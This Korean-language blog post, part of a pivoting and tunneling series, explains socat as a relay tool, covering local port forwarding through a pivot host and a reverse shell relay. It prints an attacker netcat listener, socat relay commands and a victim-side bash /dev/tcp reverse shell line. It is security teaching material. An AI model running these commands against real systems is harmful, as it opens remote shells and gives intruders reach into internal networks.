hhkb.dev

BLOG

2025-12-20 / 피버팅과터널링 · 17

Socat 중계

1. 개요

Socat(Socket Cat)은 두 개의 독립적인 데이터 스트림을 이어 주는 중계 도구다. 전용 터널링 도구보다 단순하지만, 특정 포트와 포트를 빠르게 연결하는 구조를 설명할 때 자주 등장한다.

SSH나 Chisel 같은 전용 도구가 없거나, 복잡한 기능보다 단순한 포트 중계만 필요할 때 특히 많이 언급된다. 대부분의 리눅스 배포판에서 쉽게 설치할 수 있다는 점도 자주 같이 이야기된다.

2. 동작 원리

Socat은 "주소 1 <---> 주소 2" 형태의 양방향 파이프를 만든다. 한쪽으로 들어온 데이터를 다른 쪽으로 넘기고, 반대쪽 응답도 다시 되돌리는 구조다. 여기서 "주소"는 TCP/UDP 포트뿐 아니라 파일, 파이프, 소켓 파일 등 다양한 대상을 가리킬 수 있다.

3. 중계 활용 예시

3.1 로컬 포트 포워딩 (Forwarding)

피벗 호스트(10.1.10.10)가 중계자가 되어, 공격자가 보내는 트래픽을 내부 타겟(10.1.20.50:80)으로 전달하고 싶을 때 사용한다.

# 피벗 호스트에서 실행
# TCP4-LISTEN:8080 -> 8080번 포트 리스닝
# TCP4:10.1.20.50:80 -> 들어온 트래픽을 Target의 80으로 전달
# fork: 다중 접속 허용
socat TCP4-LISTEN:8080,fork TCP4:10.1.20.50:80

이제 공격자가 10.1.10.10:8080으로 접속하면, 실제로는 10.1.20.50:80 웹 서버와 통신하게 된다.

3.2 리버스 쉘 중계 (Reverse Shell Relay)

내부망 깊숙한 타겟이 외부로 직접 나가기 어렵고, 대신 인터넷이 되는 피벗 호스트를 중계지로 삼는 구조를 설명할 때 이런 예시가 등장한다.

  1. 공격자 (Attacker):
    # 80번 포트에서 리버스 쉘 대기
    nc -lvnp 80
    
  2. 피벗 호스트 (Relay):
    # 1234번 포트로 들어오는(Target에서 오는) 연결을
    # 공격자(10.8.0.5:80)에게 전달
    socat TCP4-LISTEN:1234,fork TCP4:10.8.0.5:80
    
  3. 타겟 (Victim):
    # 피벗 호스트의 1234번 포트로 리버스 쉘 발사
    bash -i >& /dev/tcp/10.1.10.10/1234 0>&1
    

타겟은 피벗 호스트로 연결했지만(Outbound), Socat이 이를 공격자에게 중계해주므로 최종적으로 공격자는 쉘을 획득하게 된다.

4. 장단점

  • 장점: 설정이 매우 직관적이고 빠르다. 별도의 인증 과정이나 복잡한 핸드쉐이크가 없다.
  • 단점: 기본적으로 평문 통신이다. (OPENSSL 옵션으로 암호화 구성을 별도로 붙일 수 있다.) 또한 프로세스가 종료되면 연결도 같이 끊기므로, 운영 안정성 측면에서 별도 관리가 필요하다.